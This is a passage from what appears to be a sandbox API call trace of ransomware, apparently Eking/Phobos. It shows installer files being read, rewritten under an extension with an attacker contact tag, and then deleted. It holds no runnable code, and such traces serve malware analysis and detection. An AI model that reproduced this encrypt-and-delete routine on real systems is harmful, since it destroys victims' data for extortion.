lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0077.723] CloseHandle (hObject=0x304) returned 1 [0077.723] CloseHandle (hObject=0x300) returned 1 [0077.724] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0077.725] CreateFileW (lpFileName="\\\\?\\C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0077.727] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=0) returned 1 [0077.727] CloseHandle (hObject=0x300) returned 1 [0077.727] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0077.728] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=7567) returned 1 [0077.728] CloseHandle (hObject=0x300) returned 1 [0077.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0077.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0077.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0077.728] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0077.728] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.728] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.728] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0077.731] ReadFile (in: hFile=0x300, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x1d8f, lpOverlapped=0x0) returned 1 [0077.733] WriteFile (in: hFile=0x304, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x1d90, lpOverlapped=0x0) returned 1 [0077.734] WriteFile (in: hFile=0x304, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0077.735] CloseHandle (hObject=0x300) returned 1 [0077.735] CloseHandle (hObject=0x304) returned 1 [0077.736] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0077.737] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0077.738] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=74214) returned 1 [0077.738] CloseHandle (hObject=0x304) returned 1 [0077.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0077.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0077.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0077.738] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0077.738] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.738] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.738] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0077.739] ReadFile (in: hFile=0x304, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x121e6, lpOverlapped=0x0) returned 1 [0077.742] WriteFile (in: hFile=0x300, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x121f0, lpOverlapped=0x0) returned 1 [0077.745] WriteFile (in: hFile=0x300, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0077.745] CloseHandle (hObject=0x304) returned 1 [0077.745] CloseHandle (hObject=0x300) returned 1 [0077.748] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0077.750] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0077.751] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=17240) returned 1 [0077.751] CloseHandle (hObject=0x300) returned 1 [0077.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0077.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0077.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0077.751] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0077.751] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.752] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.752] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0077.756] ReadFile (in: hFile=0x300, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x4358, lpOverlapped=0x0) returned 1 [0078.015] WriteFile (in: hFile=0x304, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x4360, lpOverlapped=0x0) returned 1 [0078.030] WriteFile (in: hFile=0x304, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0078.030] CloseHandle (hObject=0x300) returned 1 [0078.030] CloseHandle (hObject=0x304) returned 1 [0078.032] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0078.033] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0078.034] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=3726) returned 1 [0078.034] CloseHandle (hObject=0x304) returned 1 [0078.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0078.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0078.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0078.035] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0078.035] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0078.035] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0078.035] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0078.037] ReadFile (in: hFile=0x304, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0xe8e, lpOverlapped=0x0) returned 1 [0078.039] WriteFile (in: hFile=0x300, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xe90, lpOverlapped=0x0) returned 1 [0078.040] WriteFile (in: hFile=0x300, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0078.040] CloseHandle (hObject=0x304) returned 1 [0078.041] CloseHandle (hObject=0x300) returned 1 [0078.044] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0078.045] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0078.045] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=80970) returned 1 [0078.045] CloseHandle (hObject=0x300) returned 1 [0078.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0078.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0078.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0078.046] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0078.046] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0078.046] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0078.046] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0078.046] ReadFile (in: hFile=0x300, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x13c4a, lpOverlapped=0x0) returned 1 [0078.050] WriteFile (in: hFile=0x304, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x13c50, lpOverlapped=0x0) returned 1 [0078.053] WriteFile (in: hFile=0x304, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0078.053] CloseHandle (hObject=0x300) returned 1 [0078.053] CloseHandle (hObject=0x304) returned 1 [0078.060] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0078.064] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0078.064] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=18264) returned 1 [0078.064] CloseHandle (hObject=0x304) returned 1 [0078.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0078.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0078.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0078.065] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0078.065] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0078.065] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0078.065] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0078.065] ReadFile (in: hFile=0x304, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x4758, lpOverlapped=0x0) returned 1 [0078.749] WriteFile (in: hFile=0x300, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x4760, lpOverlapped=0x0) returned 1 [0078.763] WriteFile (in: hFile=0x300, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0078.763] CloseHandle (hObject=0x304) returned 1 [0078.763] CloseHandle (hObject=0x300) returned 1 [0078.765] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0078.767] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0079.261] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=18264) returned 1 [0079.261] CloseHandle (hObject=0x320) returned 1 [0079.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0079.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0079.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.262] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0079.262] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0079.262] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0079.262] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0079.263] ReadFile (in: hFile=0x320, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x4758, lpOverlapped=0x0) returned 1 [0079.266] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x4760, lpOverlapped=0x0) returned 1 [0079.269] WriteFile (in: hFile=0x324, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0079.270] CloseHandle (hObject=0x320) returned 1 [0079.270] CloseHandle (hObject=0x324) returned 1 [0079.271] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0079.273] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0079.274] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=86284) returned 1 [0079.274] CloseHandle (hObject=0x324) returned 1 [0079.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0079.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0079.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0079.274] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0079.274] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0079.275] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0079.275] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0079.278] ReadFile (in: hFile=0x324, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x1510c, lpOverlapped=0x0) returned 1 [0079.283] WriteFile (in: hFile=0x320, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x15110, lpOverlapped=0x0) returned 1 [0079.287] WriteFile (in: hFile=0x320, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, 